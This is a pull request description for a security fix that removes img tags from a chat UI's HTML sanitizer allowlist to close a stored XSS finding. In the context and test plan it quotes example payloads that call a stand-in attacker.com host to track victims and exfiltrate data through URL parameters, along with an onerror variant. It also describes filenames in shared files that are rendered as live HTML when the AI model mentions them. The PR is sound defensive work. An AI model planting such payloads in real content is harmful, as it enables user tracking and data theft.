fix: remove img from HTML sanitizer allowlist to prevent stored XSS

[chungjac]

Summary

• Remove img from AllowedTags in src/helper/sanitize.ts to prevent attacker-controlled filenames (e.g., <img src="https://attacker.com/track">) from rendering as live HTML elements in chat responses
• Update example app to replace removed img usage in custom renderer demo with inline SVG string

Context

This addresses the remaining finding from the VAPT verification of P388021229. The previous fixes (PRs #466, #462, #470) removed embed, iframe, object, and srcdoc, and added escapeHTML to innerHTML paths. However, img remained in the allowlist, allowing outbound HTTP requests via image loads without requiring JavaScript execution.

Attack vector: A malicious filename like <img src="https://attacker.com/track?victim=user"> in a shared DataZone file renders as a live HTML element when Amazon Q mentions it in a response, enabling user tracking and data exfiltration via URL parameters.

Impact of this change: img tags in LLM response bodies and custom renderers will be stripped. In practice, Amazon Q does not render images in chat response bodies today, so there is no user-visible regression.

Test plan

• Verify <img src="https://..."> in chat body is stripped (no outbound request in Network tab)
• Verify <img src=x onerror="..."> is stripped entirely
• Verify normal markdown (bold, italic, code, links, lists) still renders correctly
• Verify <svg> tags continue to be stripped (no regression)
• Run existing unit tests